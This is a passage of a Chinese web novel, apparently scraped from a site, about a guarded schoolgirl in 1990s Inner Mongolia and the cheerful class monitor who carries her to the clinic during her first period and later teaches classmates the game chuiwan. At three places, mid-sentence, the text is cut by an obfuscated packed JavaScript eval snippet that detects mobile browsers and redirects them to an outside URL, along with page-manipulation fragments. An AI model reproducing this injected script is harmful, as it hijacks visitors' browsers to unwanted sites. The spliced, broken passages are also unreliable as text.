吕昉对这群小白杨的气势很满意,她点点头,打开了名册:“现在,我喊你们学号,你们上来做个自我介绍。” “31号,陈月好。” “到!” 戴琴抬眸,朝对方看去。却见方才那个迎接敖小陆的胖乎乎女生站了起来,红着脸很腼腆地介绍自己:“我叫陈月好,花好月圆的月好,是一个蒙古族人,来自九曲县……” 戴琴看着她脸上那两坨高原红,稍稍花了点时间记住她的长相。 在这所九曲河高中,学号就是初中成绩的排名。 因此31号,就是重点班之下的第一名。 还算不错的一个女孩子,可以来往,交流学习。 戴琴半眯着眼,暗暗将这个名字记下。 这群学生非常擅长学习,但在交际上显得木讷了点,连带着自我介绍都很无趣,因此有好几个学生都和戴琴一样,自我介绍完了之后开始翻桌面上的教科书,仿佛在争分夺秒用尽每一份学习资源。 大概喊了十个人,终于到戴琴了。 听到自己的名字,戴琴站了起来,喊了声“到”。 班上的同学普通话都不太好,因此她那句口齿清晰的“到”,一下就引来了全班人的目光。 靠在墙边的班主任也看了过来,在众人瞩目里,秀丽的少女用纤长白皙的指尖拿起自己刚写好的草稿,沉声道:“敬爱的老师,亲爱的同学,大家好。” “我的名字叫做戴琴,是我父亲给我取的。” “琴,在我们蒙古语里,是‘海’的意思。” 戴琴顿了顿,将手上的纸张放下,目光定定地看向所有人:“学海浩瀚,愿与诸公风雨同舟,共勉。” 她话音落下,整个班陷入死一般的寂静。忽而之间,有一阵很煽动人的掌声响起,戴琴朝对方看去,发现敖小陆两手鼓掌,双眼闪闪发光地看着自己。 紧接着,断断续续的掌声响了起来,最后汇聚成一条巨大的洪流,掌声轰鸣。 每一个人都双眼发光地看着她,好似她是什么了不得的名人一样。 戴琴扫过这些稚气的面庞,将目光落在前方的班主任脸上。在对方的目光里,她看到了同样的欣赏,顿时松了一口气。 很好,没有白费。 她向众人点点头,含笑坐了下来。 有她这么一个小插曲,接下来的自我介绍都热热闹闹的。 直到最后一名“敖小陆”站起来,整个班级彻底沸腾了。 也不知道她哪里来的那么大的人气,女孩子们吵着要听她唱歌。最后还是班主任控制住局面,开始进行下一项事务。 刚开学,班级的班干部骨架还是要搭好的。不过大家都是新面孔,不好按照班级投票来,果不其然,班主任选了自己眼熟的人做班干部。 “班长,敖小陆。” 话音落下,教室里响起一阵欢呼声。 敖小陆连连拱手:“多多照顾,多多照顾啊。” 这在戴琴的意料之中,毕竟敖小陆这种“热情”的孩子,天生就适合做班长。 只是她没想到,班主任下一句就是:“副班长,戴琴!” 糟糕,自我介绍说多了。 戴琴的笔一下就停住了,一时间有些骑虎难下。她本以为正班长是女生,副班长就是男生,万万没想到班主任会点了她。 她只想班主任眼熟她,能在班级上多多照拂,并不想当个班干部做杂事影响她学习。 戴琴沉默了三秒,站了起来,在掌声之中接受大家的认可。 点完班干部,就到了分配桌位的环节。 大家几乎同岁,除开男女之间差异大了点,女孩子的身高几乎差不多,因坐在前排的敖小陆就格外显眼。 班主任扫了她一眼,点了点道:“班长,和副班长的同桌交换个位置,你去和副班长坐。” 敖小陆连忙举起手,很欢快地应答:“是。” 她书都没动,直接动身朝教室最后一排走去。很快,敖小陆走了过来,在戴琴身旁坐下。在班主任点人的背景音里,她左手握成拳,递到了戴琴面前:“吼,多多指教了,美人鱼副班长。” 很奇妙的,戴琴听出来了她这句称呼里的揶揄。 美人鱼装哑巴,不会说话嘛。 戴琴半分心虚也无,扫了一眼她的手,不情不愿地将手握成拳,和她碰了一下。 她没说话,却在心中默默念了两个字:倒霉。 许是戴琴泼的那盆冷水很有效果,又或者是敖小陆总算对她失去了兴趣,正式开学之后两人倒是没有什么交谈。明明是同桌,两人之间却好像竖起了一座东西柏林墙,界限分明,互不打扰。 所以就算敖小陆很受同学们欢迎,也没有同学敢靠近她们这一桌。反倒是敖小陆这个人气王,一到下课就到处跑。有一次戴琴看过去,恰好看到她被一群女孩簇拥着坐在靠窗的位置上,用灵巧的手指翻着花绳。 秋日的艳阳透过窗户洒落在了她身上,她整个人都沐浴在光中。红绳穿梭在她的十指间,她张开的十指根根纤长,撑开蛛网一样复杂繁琐的图纹,盛满金灿灿的阳光,好像《百年孤独》里那些美艳吉普赛女郎会编织的捕梦网。 围绕在她周围的少女发出呜哇的赞叹,敖小陆半眯着眼笑起来,神情狡黠得得像只狐狸,很灵动。 戴琴扫了一眼,收回自己的目光,轻啧了一声:“无聊。” 没人喊她的时候,她就待在自己位置上,拿着中性笔在教科书上写写画画。 戴琴记有一节语文课,她也是走神了,不小心朝敖小陆那边看了一眼。她眼角的余光扫过对方的桌面,一眼就看到教科书上的人物画像,不知什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240083|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候骑着小羔羊,拿着弓箭,举着手高喊:“冲呀,为了我们的小鸡,将这只狐狸赶出草原去。” 原本严肃的文学名人身后跟着一群小鸡崽,奋力作战,喊得栩栩如生。 “噗嗤!”戴琴没忍住笑了出来,正在努力绘画的敖小陆朝她看了过来,眼中含笑:“要我也给你画吗?” 她也不气恼,只是很温和的问,和刚认识的时候差不多。 戴琴敛了笑,摇摇头。敖小陆笑了笑,又翻了一页教科书,将自己的“小鸡大战”继续连载下去。 如此过了漫长的一周,学生们苦等已久的周五终于来了。对于努力学习的学生来说,没有什么比休息一节的体育课更适合做奖励。一到下午的时候,戴琴就感受到整个班的气息都变得躁动起来。 尤其是一些非蒙古族的学生,还没上课就开始很兴奋:“我听说高一的体育课是骑马课,期末还考马术呢。” 人数很少的蒙古族男生抱着手臂,轻哼一声,神色很骄傲:“骑马有什么了不起的,我们小时候都是骑马上课,没意思。” 看似不屑,实则吹嘘。 正在整理桌面的小陆听到扭头朝他看过去:“巴雅尔你从小就会骑马吗?那骑射能中多少环呢?” “大会呢?拿了多少名?” 名叫巴雅尔的高壮男生抱着手臂,涨红了脸没说话。 小陆笑笑,转过头对那个汉族女生说道:“骑马很好玩的,等你学了就知道了。” 女孩子兴奋的脸扑扑的,不停地点头:“嗯嗯。” 一旁的戴琴将这一幕尽收眼底,好像隐约能明白为什么女孩子那么喜欢和她玩。 她似乎从来不会让人觉得窘迫,谁让别人受到各种意义上的伤害,她就会替对方反击他们,她是女孩子们最可靠的姐姐,也是男孩子们最严厉的母亲。 学生们千盼万盼,总算盼来了体育课。 秋阳落在光秃秃的校场上,炙烤出灼热的气息。孩子们排成三列,站在国旗下,听前方高壮黝黑的体育老师做完自我介绍。 这时敖小陆举手站了出来,向体育老师发问:“报告老师,请问今年我们上的是骑马课吗?” 体育老师一甩哨绳,给了肯定的回答:“当然。” 话音落下,同学们一片欢呼。就在这时,体育老师补充了一句:“但是……” “你们要先学会跳操。” 学生们一片哗然:“唉……怎么这样……” “能不能不学啊!” “啊!我想骑马!” 哀鸿遍野,期间夹杂着那个汉族女孩的声音:“我最讨厌‘但是’两个字了。” 戴琴深有同感,她也很讨厌话峰一转这样的表述。 纵使万般不愿,学生们还是要学跳操。 通常来说,广播体操有八个节拍,只要不是什么傻孩子,两节课都能学会了。 可今天太阳实在是太大了,最近的学习又有点累,学了二十分钟左右,戴琴头额头上沁出了汗,呼吸也变得很乱,视线也模糊了起来。 呼……呼……呼…… 四周的声音都哑住了,纸糊一样,仿佛只有肺部呼吸的声音,如同一个被不断拉开的破败风箱。 嗡……嗡……嗡…… 脑袋空空如也,热得再散发白雾,只能听到风吹银针细细颤抖的声音。 “一二三四五六七八,二二三四五六七八…” 老师的声音从前方传来,她动着手脚,灵魂却开始出窍。 就在这时,耳边传很关切的一声:“你怎么样了?要不要紧啊?” 是敖小陆。 戴琴下意识摇摇头:“没……” 她才开口,忽而觉得右边的身子有一根绳子拽着她右边的脑袋往地下拽,顷刻间天旋地转,她身子微微半翻,不受控制地往前栽去。 “哎哎哎哎哎哎……” 敖小陆低声叫着,连忙伸手将她一把捞入怀中。在她栽向地面时,牢牢地抓住她的胳膊,稳住她的身形。 戴琴靠在她胸口,微微喘着气,大脑一片空白。 体育老师也很快注意到这里的惊变,和同学们一起看了过来:“怎么了?” 敖小陆抱着戴琴,半拖着将她带离了队伍。一边拖,一边说:“应该是中暑了。” “老师,送她去卫生所看看吧。” 6. 大汗与小白狐 人能储存的记忆是有限的,就算当时记住了,可经过年复一年的翻涌,暴晒,总会泛黄褪色。 很久很久之后,戴琴再回想起那一天,所能记起的,只有能把人烧坏的秋阳,以及朝她围拢而来的老师,还有托着她腰背的敖小陆。 所有人都着急忙慌地问她有没有事,托着她的敖小陆举手,自告奋勇地开口:“老师要早点教会我们跳操,让我们快点骑上马呢,我带她去校医室吧。” “而且我是班长,照顾班上的同学是我的本分。” 就是这一句“本分”,毫无防备地扎进戴琴的心里。 那时候刚开学不久,戴琴几乎不和班上的女同学打招呼,所以根本不认识几个人。 学生时代,遇到困难的时候呈现出来的人际关系,几乎能反应这个人在学校的社交能力。 戴琴漂亮归漂亮,男孩子喜欢她,女孩子也喜欢她,但想要突破她那种冷冰冰的态度,对于这个十七八岁的年轻来说还是有些太难了。 就这样,敖小陆一个人背着她前往医务室。 内蒙古作为中国第一面积大概有一百多万平方公里,地广人稀,相对于中原地区来说医疗资源相对匮乏。 所以那个时候,第一高中没有自己单独的校医室,而是与临近的社区医院合并在一起。 学校的操场在前门,医务室则在后门,要从操场前往医务室,需要横穿整个学校。 尽管是被人背着,但这段路戴琴走的一点也不安心,还异常忐忑。 她一直在想,如果我生了大病怎么办?家里又要出钱了。 然后又开始算我身上能用的钱够不够医药费,不够的话,是不是得麻烦老师借钱。 在大多数人眼里,贫穷似乎只是吃不饱饭,上不了学,看不起病之类的。 但在戴琴的眼里,真正的贫穷是,从小到大只能穿哥哥姐姐改过的旧衣服所带来的羞耻感,因为晚一点交学杂费给老师工作带来麻烦的罪恶感。 是年复一年的冬天,只有一件薄薄袄子,被冷风冻得狂流鼻涕的窘迫感。 这个敏感,纤细的少女,乱七八糟的想了一路。 背着她的人却一无所觉,不止一无所觉,她甚至还给戴琴讲起了故事。 那是敖小陆小的时候,她的额么格(外祖母)给她讲过一个故事。 是一个有关于成吉思汗的故事…… 炙热的秋阳透过茂密的枝叶,撒下斑驳的光点。戴琴跟个小孩一样,趴在敖小陆的背上,被她抱着双腿,颠簸着往前走。 迷离的光线照得人目眩神迷,身下的敖小陆讲着过去的故事,声音如同清泉那般清澈动听:“那是很久很久以前的故事了,成吉思汗和大金在锡林郭勒交战,当时两军兵力都差不多,甚至蒙古大军因长线追击更加的疲乏。” 戴琴身体不适,心事重重,并不是那么想做捧哏,语气略有些烦躁:“然后呢?” 敖小陆对她的态度无所谓,托着她的身体往上颠了颠:“入夜时分,大金军队逃入了平顶山。那时平顶山脉地势险峻,如同一座天然的城池挡在了蒙古大军前。成吉思汗本想趁胜追击,却被一只能开口说话的白狐拦住了。” 戴琴忍不住阴阳怪气:“这还是个奇幻故事呢?” “嘿嘿……” 敖小陆嘻嘻一笑,她长手长脚的,很快就背着戴琴穿过被太阳晒得炙热的教学楼,迈入阴凉的落叶松树林里。这一片临近高三的教学楼,环境相当的静谧。正是周五下午的最后一节课,本来是给各班用来上体育课或者自习的时间,如今都被各自的科任老师抢来讲试卷。 因此一入林中,就能在风吹树叶的沙沙声中听到老师们各式各样蹩脚的普通话。在这样的环境烘托下,敖小陆的声音就越发显得口条清晰,格外好听。 她背上还背着戴琴,语气里却带着几分信步闲庭的从容:“白狐和他说…”她清了清嗓子,换了种腔调拿捏着说话:“‘如今大军疲惫,粮草不足,不宜进军。大汗不如先整备军队,待将士们都吃饱喝足了,再追击如何?’” “成吉思汗略一思索,即刻令军队在平顶山前架锅烧饭。” 戴琴身体难受得要死,只觉得自己离死不远了。本想吐槽她来分散一些注意力,可考虑到敖小陆也是在为她分散精神,于是强忍着讥讽暗自腹诽:大金的军队近在咫尺,随时都有可能会反击,还架锅烧饭呢。 敖小陆继续胡说八道:“蒙古大军饱餐了一顿,就连大汗也吃了三大碗。酒足饭饱后,天空也暗淡了下来,只有明月笼罩在寂静的草原之上。” “就在这时,大汗在白狐的引导之下,伸手摘下了月光。那一弯明月,化作了他手里的弯刀,猛然朝前方错落的山峰劈去。” “只听得‘砰’地一声,月光撞碎了山峰,前方的十几座山峰被削去了峰顶,露出了大金军队的踪迹。吃饱喝足的蒙古大军看到了敌人,像是狼看到了羔羊一样,大呼一声‘为了可汗!’追击而去。” “蒙古大军大捷,也在平顶山留下了一个关于蒙古可汗的传说。” 戴琴听得很莫名:“这就结束了?” “嗯,结束了啊。”敖小陆应得理所当然,甚至还反问了一句,“难道你没有在这个故事里学到什么吗?” 戴琴觉得意味不明,但还是接了话,吃力地回了一句:“能学到什么?用月光劈山?” 敖小陆顿时提高了音量:“这个故事不就是说明了就算是再危机的紧要关头,人都要吃饱饭嘛。” “吃饱饭,有一个好的身体,才能做到自己想做的事情。” 她说得振振有词,戴琴听得目瞪口呆,不是,还能这么扯的吗? 偏偏敖小陆信誓旦旦:“你想想啊,万一你遇到重要的考试,身体却拖你后腿在生病,让你没有考到好的成绩,这是不是很遗憾。” 按照这个逻辑来看,敖小陆好像说的一点也没有错。 戴琴沉默了,两人也从这片树荫走出来。 敖小陆顶着大太阳,背着她走向社区医院的后门,一边走一边道:“我看你平时吃饭就很少,你以后就多吃点,身体就会慢慢好了。” “还有啊,要是觉得自己不舒服,就不要上体育课了。” “不管怎么样,都要好好照顾自己的身体,人以身体为本嘛。” 戴琴趴在她背上,听着她絮絮叨叨的关怀,心里升起了一股莫名的思绪。阳光无比炙热,无情地落在敖小陆身上。洗发水的清香掺杂着汗水的味道扑面而来,有种很鲜活的味道。 戴琴本想回答一句“这和你没关系。“但话在嘴边又吞了下去,只留下了一个字:“嗯。” 她趴在敖小陆身上,身体随着她的身体节奏摇晃着,只觉得自己像个被挂在马鞍上的水袋子,东摇一下,西摇一下。可不知为何,那心中隐隐升起的忐忑,却在这样的摇晃了被撞散了。 直到前往医务室,戴琴那颗七上八下的心,才彻底落回胸腔。 是初潮。 到了医务室的时候,医生是给诊断。 敖小陆惊呆了。眼睛瞪的圆溜溜的,和小狗似的。 哪怕是直到如今,性教育这件事都很少拿到明面上来说,更不要说上世纪九十年代了。 戴琴虽然通过生物,对二次发育有过一定了解。但因为中学这门课是男教师教的,关于女性月经期这件事说得含糊不清,导致戴琴也是一知半解。 所以初潮之后的知识,几乎都是敖小陆教的。 从医务室出来之后,敖小陆又将她背回宿舍了。 路上敖小陆难得安静了一会,直到戴琴挣扎着从她背上下来,她才开了口:“你是第一次来啊?” 戴琴都疼得没力气了:“嗯。” 敖小陆背着她稳稳当当地往上走:“那就乖乖地趴着,别乱动,摔不了你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240084|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 敖小陆背着她回到了303,一把将她放在了床上。几乎是一沾床,戴琴就倒在床上,捂住腹部蜷缩起来。 敖小陆将腰上挂的水杯解下来,就对她说道:“你等一会,我马上过来。” 戴琴还来不及反应,就见她风一样地跑了。她疼得头发晕,肚子和脑袋一样在突突地跳痛着。可身下的泥泞感又太鲜明,一定是脏得她浑身难受。她想去打热水洗澡,但浑身难受得一根手指都动不了。 敖小陆就是在这时回来的,与她一同回来的,有一片止痛药,还有一个热水袋子,以及几条奇怪的布条。 此时还没有下课,寝室内除了她和敖小陆之外空无一人。 敖小陆站在她床前,迅速将热水袋子压在她肚子上,一手拎着水壶,一手捏着一块药片,俯身朝她压了过来:“戴琴,张嘴。” 戴琴疼得意识都模糊了,被这暖烘烘的热水袋拉回了些许神识,恍惚间张开了嘴,一块苦涩的药就塞了进来。她的舌尖尝到味道,下意识就想吐,但被敖小陆压了回去:“是止痛药,吃了可以缓解疼痛,你吞下去。” 止痛药在药品里都算是很贵重的一类药,通常只有高烧忍不住全身疼痛才会吃。 戴琴皱着眉将喂到唇边的药吞了下去,乖巧得像个婴儿。见她吃了药,敖小陆才拧开水瓶,递了过去。也不知道是不是还有童心,戴琴的保温水瓶说是水瓶,其实更像是奶瓶的保温杯版,带着一个被咬痕斑斑的奶嘴,十分可爱。 敖小陆之前看她在班上喝水,啜着那个奶嘴就忍不住笑。 可这一次自己给戴琴喂水,见她能稳稳当当地喝到水,反倒不觉得好笑了。 这个奶嘴水瓶,看起来还挺方便的。 戴琴“啜啜啜”几口就不喝了,很不给面子地别开了脸。敖小陆拎回了水壶,从口袋里翻出了一颗大白兔奶糖,剥开糖纸塞到戴琴口中。 戴琴被堵得猝不及防,她转眸,瞪大了眼睛看向了敖小陆。 敖小陆笑眯眯的,从另一个口袋中取了一根布条出来:“这个,月经布,会用吗?” 那是根用缝纫机将吸水性很好的布料缝制得很厚实的布条,约莫有一尺多长,巴掌宽,左右两端装着一枚扣子,扣子上分别系着两根细绳子。在那细绳子的另一头,牢牢圈着一根布条。布条呈围成一圈,最后用松紧扣缠好,形成了穿戴式的腰带。 戴琴在家里看到过妈妈和姐姐的月经布,好像和这个不一样。这款式很别致,像是一条只有细细腰带,布料很少的内裤。她绷着脸,没有回话,可耳尖却是红红的。 敖小陆就笑笑,将卫生纸垫在上面,松开了腰上的卡扣,和和气地对她说:“和穿内裤差不多,你把卫生纸放在上面,然后穿上去,把腰上的卡扣扣紧就好了。” 她说完,将手里的月经带递了过去。戴琴看着她的动作,只觉得自己像个烧过度的热水壶,人都烧迷糊了。 她接过敖小陆递过来的东西,口中还被塞了一块糖,话都说不清楚:“谢谢……” 敖小陆半眯着眼笑笑:“不客气。” 她起身,很随意地走到戴琴对面的书桌上,拿起她的饭盒:“你再躺一会,等舒服了点就起来洗澡,我去打饭了拜拜。” 不知道是不是止痛药的作用,还是热水袋太暖和,让身体的气血流动起来,戴琴躺了十多分钟,竟然缓过来了。 下课铃声响起时,敖小陆踩着点回来了。她抱着饭盒,径直地走向戴琴,将饭盒递了过去:“你的饭。” 她一边说,一边从口袋里掏出一个干净的纸包递了过去:“还有二两的白糖,你要是觉得不舒服就自己再泡点。” “如果到了晚上肚子还是很痛的话,就不要上晚自习了,好好休息吧。” 她像个大姐姐一样交代了一通,等戴琴再次看过来的时候,笑着冲她招招手:“好好照顾自己,需要帮助可以找我,拜拜。” 7. 敖小陆与捶丸 尽管如此在这之后,戴琴对敖小陆的态度一如既往。 是的,她们并没有成为朋友。 因为对于戴琴来说敖小陆的友情某种意义上是一种负担。 有句话叫做:免费的就是最贵的。 无论是哪一个时代,我们国家都是一个人情社会。如果你想和一个人维持情分,那就先欠对方一个人情,等到日后慢慢还。 戴琴在人情世故上,有种练达的通透。 因为戴琴迟早是要离开这个班级,她不想和其他人有过多的联系。 她既不想和敖小陆成为朋友,也不想欠她的人情。 为了还掉这个人情,戴琴左思右想,破天荒地找到了与敖小陆交好的陈月好,打听好了“月事带”的价格,准备在周日晚自习的时候,将钱递给了敖小陆。 市高的课业相当繁重,哪怕是高一的学生,周六也要补半天课。除了走读的学生,基本上每个住宿的学生周五晚上都照样来上晚自习了。 教师们布置的课后作业也多,几乎是一到教室,好学的学生就开始翻开课本写作业。 如同往常一般,戴琴来得很早。等她将英语作业都写完了,同学们也陆续抵达教室。 敖小陆是踩着点到教室的,她从后门落座,还没坐稳就神秘兮兮用手挡住嘴唇,侧身转向戴琴:“你肚子还疼吗?” 语气很关切,戴琴摇摇头,示意自己没事。 敖小陆这才松了一口气,小声叮嘱了几句:“你这几天就不要跑动太多,少碰冷水,不要吃辛辣的东西……” 絮絮叨叨,絮絮叨叨的,真的很像她姐姐戴丝。 戴琴仍旧有些不太自在,但还是认真听了。她点点头,应了一声:“嗯。” 比起往常的淡漠,今晚的戴琴显得柔和了很多。她从口袋里里拿出准备好的钱,递到了敖小陆桌面上:“这个,给你。” 那是两张钞票,一张绿色的贰圆,以及一张梅红色的壹圆卷,上面都印着少数民族的头像看起来都很新。 敖小陆眼中闪过一丝错愕,戴琴抿唇,语气放软了很多:“我问过陈月好,那个新的大概是八毛左右一条。你给我三条新的,所以……” 她将钱往敖小陆面前推了推,很认真地看着她:“就当我买下了。然后……体育课的事,还有帮我打饭的事,都谢谢你。” 在她很年幼的时候,戴琴就明白了一件事:人是一种社会集合体,是被环境捏造而成的生物。 龙生龙凤生凤,老鼠生的孩子会打洞,只有极少数人可以摆脱原生家庭所带来的影响。 如果可以的话,戴琴一辈子都不想和自己班的同学有什么多余的交集。她的目标在更远大的地方,在实现这个梦想的途中,周遭的一切事物不过都是阻碍着她往上走的水流。 她不需要多余的情感羁绊,更不喜欢欠人情。对于这种不具备世俗利益的情绪价值,能用超过其价值一些的金钱价值还清,她就尽量还清。 敖小陆望着推到面前的钱,沉思片刻后从中抽出一张玫红色的,夹在指尖:“那就给我一块钱好了。” 戴琴一愣,却见敖小陆夹着钱笑眯眯的:“我妈妈是裁缝,这些都是用别人定制衣服多余出来的布料做的,原材料不花钱,所以卖得很便宜。” “算你三毛一条,我收多一毛还可以买两根棒棒冰,赚了!” 敖小陆打了个响指,迅速地将那一块钱纳入口袋里,一副就这么收钱了事的状态。 这时语文课代表已经抱着课本走上讲台,翻开课本开始掐着嗓子,装出字正腔圆的感觉大声喊:“请同学们翻开课本第五页,朱自清的《背影》,开始朗读…… 朗读课已经开始,戴琴扫了眼敖小陆,见她已经从桌洞掏出语文课本,跟着课代表大声朗诵起来。 至于戴琴给出去的那两块钱,她根本没动。她不动,戴琴也不动。两人就这么僵持着,直到晚自习下课铃声响起,敖小陆风一样跑出教室,戴琴望着落在桌面上的那张绿色的贰圆券,眉头微皱,一把抓住钱追了上去。 当然,以她的体力自然是没有追上。这两块钱也就不了了之,直到周六学生们放假,戴琴也没机会再给出去。 戴琴家在八曲县,是离九曲市中心最近的一个放牧县区。从市区回到家中,需要乘坐三轮班车回到县城,再从县城步行回家。这一趟来回十分折腾,因此开学之初她就和父母商量好,非节假日就不必回家。 班上和她一样来自小县城的学生还挺少的,到了周六下午,寝室只剩下她和另外两个同学,跟空了差不多。戴琴也不是死读书的类型,正好寝室无人又安静,她从图书馆里借了一本《读者》的杂志,坐在床上翻看起来。 比起《故事会》这种专供奇闻怪谈的杂志,戴琴更喜欢《读者》。 快乐的时间稍纵即逝,没一会就到了傍晚。暮色四合时分,手上这本《读者》也被翻到了尾页。她伸手,长指压在尾页的投稿地址和邮箱上,长久地沉默着。 好一会,她才长叹一声,放下杂志,起身拿起自己的饭盒朝楼下走去。 按照敖小陆的叮嘱,戴琴小心地度过了一个周末。星期天下午,她还是顶着太阳出了门,在学校旁的小卖部,斥五毛钱的巨资给敖小陆买了十颗大白兔奶糖。 她没给人送过礼物,还花了一毛钱买了花花绿绿的纸包将糖裹起来,用缎带打了个蝴蝶结弄好,放入敖小陆的桌洞里。 周日的晚自习是返校日的点名,敖小陆完全迟到了。她从后门带着热风跑进来时,吕昉都快把名点完了。 戴琴下意识扭头朝她看过去,却见她气喘吁吁地扶着门框,背着书包满头都是大汗,一双脸红得像是在滴血。 恰好这时吕昉喊到了她的名字:“敖小陆!” 她举着手,朗声应了声:“到!” 吕昉合起了点名册,点了敖小陆的名:“下次再迟到,就去扫厕所。” “是!” 敖小陆立正应答,吕昉冷冷地扫了她一眼,这才拿起点名册起身离去:“课代表,上来晚读。” 她一走,敖小陆这才全身放松下来,扑向桌面上瘫坐着,像是化作了一滩水:“啊……累死了……”她将书包放在地上,书包一落地,那些插满了书包如同拐杖一样的木制杆子发出哐里哐当的响声。 戴琴有些好奇地看过去,看着这些插满她灰蓝色背包的杆子,微微蹙眉。 这又是什么东西? 似乎是注意到她的目光,敖小陆的脸换了个方向,枕着桌面朝她看了过来:“那个是捶丸的杆子,月好她们说想玩了,我就带过来了。” 讲台上,语文课代表已经开始领读。戴琴难得没有打开课本,望着敖小陆眼神很好奇:“捶丸……是什么?” 敖小陆没有觉得意外,反倒开始很认真的和戴琴解释:“一种从唐代开始流行,元代的时候由我们祖先传到全世界的一项运动。” 她休息得差不多了,深吸一口气两手撑在桌子边缘坐直了身体:“小时候我爸爸教我玩的,后来我就和其他小伙伴一起玩。” “不怎么消耗体力,很好玩的,你要不要一起玩,我教你?” 戴琴看着她背包里的那一堆球杆,心想她为了玩也挺努力的,连带着伙伴们的用具也带了。 她想了想,斟酌了片刻摇摇头:“不了,你们玩吧。” 这种游戏,既没办法学到知识,也没办法强身健体,不过是玩物丧志,有什么好玩的。 敖小陆被拒绝习惯了,她耸耸肩,摊手道:“好吧。” 眼见台上的语文课代表已经开始领读了,敖小陆连忙掀开桌面,想从桌洞里掏出自己的语文书。结果第一眼,她就看到了摆在她语文书上的那小包礼物,双眼一瞬就被闪闪发光的包装纸给闪耀到了。 她连忙朝戴琴看去,却见身旁的同桌从容地翻开课本,跟着同学们诵读了起来,瞬间长眉一挑。 她迅速地用单手解开礼物绑带,礼物纸松开,露出里面的大白兔奶糖来。 敖小陆脸上有了笑意:“腾格里在上,赐予了我丰饶醇香的甘甜呢。” 她这么说着,取出两颗糖,一边翻开书,一边剥开自己的奶糖,往嘴巴里一扔,嚼了嚼,发出了一声赞叹:“啊……” 她半眯着眼,神情很享受。而后转过头看向戴琴:“同桌…” 戴琴抬眸朝她看了过去:“嗯?” 敖小陆笑眯眯的:“张嘴。” 戴琴没张嘴,但敖小陆以迅雷不及掩耳之势把一颗衣衫半褪的奶糖赛到了她唇边:“啊……” 戴琴微微蹙眉,鼻尖嗅到了浓郁的奶香味。糖已到唇边,沾染了她的气息,不可能再给回去。 不得已,她只好张口,用牙齿咬住了这颗糖。 香甜的味道在口腔泛滥,是一种很引诱人的味道。她微微蹙眉,品尝这很少能够尝到的甜。 敖小陆笑得越发灿烂:“好吃吗?” 戴琴仔细咬了咬,细声细气地给出自己的评价:“还不赖。” 还人情的事,最终以那一小份糖作为回礼结束了。至于那个捶丸嘛,她是在第二天最后一节自由活动课的时候,才看到它真正的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240085|197689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩法。 这一日的天气很好,太阳在往西坠落之时,被一层洁白无瑕的棉花云给挡住了。阳光从云层的边缘渗出,宛若漏出的金液渗透了小半片的天空,灿烂辉煌。 原本残酷的秋日热气被大幅度削减,秋风飒爽拂过树梢,掠过校场之时,更是带来了一阵又一阵的凉意。 旗帜飞扬的校场四周,散落着几群不用参与大扫除的孩子,正在户外的乒乓球桌上拍在打球。而校场的左边,敖小陆带着一群女孩子正拿着撬棍一样的捶杆,还有三寸高的小门框黑红两色小门框,正忙忙碌碌的放在她们那一侧的校场边缘。 另外一侧则是好几群学生,正拿着羽毛球拍打乒乓球。 戴琴抱着借来的世界史第一册从图书馆回教室的路上,恰好看到了敖小陆教人打球。 秋风习习,红旗飞扬。在飘扬的旗帜之下,敖小陆手持一根红漆捶杆,将拐角的地方抵在脚边那颗圆圆的角球上,微微俯身。在她身边围了三四个女孩子,都很面生,戴琴都没见过,约莫都是别的班的女孩子。 在这群女生里,敖小陆这一米七多的身高,着实有些高挑。于是戴琴就看到她微微俯身,对身侧的女孩子轻轻说着话,神情很温柔。 只是距离实在太远,戴琴无法听到她在说些什么。只见片刻之后,敖小陆猛地握住了手中的捶杆,眼神骤然坚定,接着腰间发力,浑身核心紧绷,整个身体的力线都扯到了一条线上,将所有的气力都灌注给手里的捶杆,最后猛地一挥—— “啪!” 角球被捶杆挥出,在空中划出了一个漂亮的弧度,稳稳当当地落入球框中。 少女们的欢呼声传来:“哇!进了!进了!” 姿态优雅的敖小陆恢复了本来的神态,拄着手里的捶杆,笑眯眯的。 那么老远的距离,戴琴都能清晰地看到她的笑。 她抱着书,转身往教学楼上走。一边走,脑海中就一边回放方才敖小陆脸上的笑。最后给出了评价:也不知道有什么好自满的,不务正业。 大抵是从小在马背上长大的缘故,蒙古族的孩子天生就很喜欢竞技类的活动。敖小陆的捶丸游戏在初中的时候就很有人气,结果到了高中就更多了。不过短短一个星期,就发展出了十几个玩伴。 眨眼又是周六,上午放学之后,敖小陆没有早早回家,反倒是留在了学校教认识的新朋友怎么玩。 捶丸其实有很多种玩法,正经算起来规则也不少。不过以现在的杆数,以及新手比较多的情况,敖小陆只教了她们简单的玩法——那就是用捶杆将球击入球框中。 